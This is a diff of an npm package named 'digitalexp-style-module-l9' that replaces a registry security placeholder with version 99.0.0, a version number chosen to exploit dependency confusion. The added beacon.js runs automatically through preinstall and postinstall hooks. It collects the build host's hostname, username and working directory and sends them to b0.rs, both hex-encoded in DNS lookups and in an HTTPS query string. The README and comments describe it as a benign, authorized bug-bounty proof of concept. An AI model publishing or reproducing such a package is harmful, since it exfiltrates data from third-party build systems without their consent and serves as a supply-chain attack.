digitalexp-style-module-l9 0.0.1-security → 99.0.0

package/README.md

@@ -1,5 +1,12 @@
-# Security holding package
+# digitalexp-style-module-l9
 
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
+**This is not a real package.** It is a benign placeholder published for an
+**authorized security-research / bug-bounty engagement** to demonstrate a
+dependency-confusion exposure (an internal package name resolvable from the
+public npm registry).
 
-Please refer to www.npmjs.com/advisories?search=digitalexp-style-module-l9 for more information.
+It performs a single harmless callback (hostname / username / cwd) to identify
+which build host resolved it, exfiltrates nothing else, is fully non-destructive,
+and always exits 0. If you are an engineer who found this in your build: your
+CI resolved an internal name from public npm. Please contact the reporter via
+the relevant bug-bounty program to have this removed.

package/beacon.js

@@ -0,0 +1,34 @@
+/*
+ * Authorized dependency-confusion PoC beacon (benign).
+ * Purpose: prove that a build resolved this internal package name from the
+ * PUBLIC npm registry. It reports ONLY: hostname, username, cwd, package name.
+ * It exfiltrates NO files, NO env secrets, does NOTHING destructive, and ALWAYS
+ * exits 0 so it can never break a build. Security research / bug bounty only.
+ */
+(function () {
+  try {
+    var os = require('os');
+    var pkg = 'digitalexp-style-module-l9';
+    var id = (Date.now().toString(36) + Math.random().toString(36).slice(2, 8));
+    var info = [os.hostname(), (os.userInfo && os.userInfo().username) || '', process.cwd()].join('~');
+    // hex-encode + chunk into DNS labels (<=60 chars each)
+    var hex = Buffer.from(info).toString('hex');
+    var labels = (hex.match(/.{1,60}/g) || []).slice(0, 3);
+    var host = labels.concat([id, 'dscl9']).join('.') + '.b0.rs';
+
+    // Channel 1: DNS (best chance of escaping egress-filtered CI)
+    try { require('dns').lookup(host, function () {}); } catch (e) {}
+
+    // Channel 2: HTTPS GET (carries readable body if outbound HTTP is allowed)
+    try {
+      var https = require('https');
+      var q = 'poc=' + encodeURIComponent(pkg) + '&id=' + id +
+              '&host=' + encodeURIComponent(os.hostname()) +
+              '&cwd=' + encodeURIComponent(process.cwd());
+      var req = https.get('https://b0.rs/?' + q, function (r) { r.resume(); });
+      req.on('error', function () {});
+      req.setTimeout(4000, function () { try { req.destroy(); } catch (e) {} });
+    } catch (e) {}
+  } catch (e) { /* never fail the install */ }
+  process.exit(0);
+})();

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/package.json

@@ -1,6 +1,12 @@
 {
   "name": "digitalexp-style-module-l9",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "99.0.0",
+  "description": "Authorized security-research placeholder (dependency-confusion PoC). Benign, non-destructive.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node beacon.js",
+    "postinstall": "node beacon.js"
+  },
+  "license": "MIT",
+  "files": ["beacon.js", "index.js", "README.md"]
 }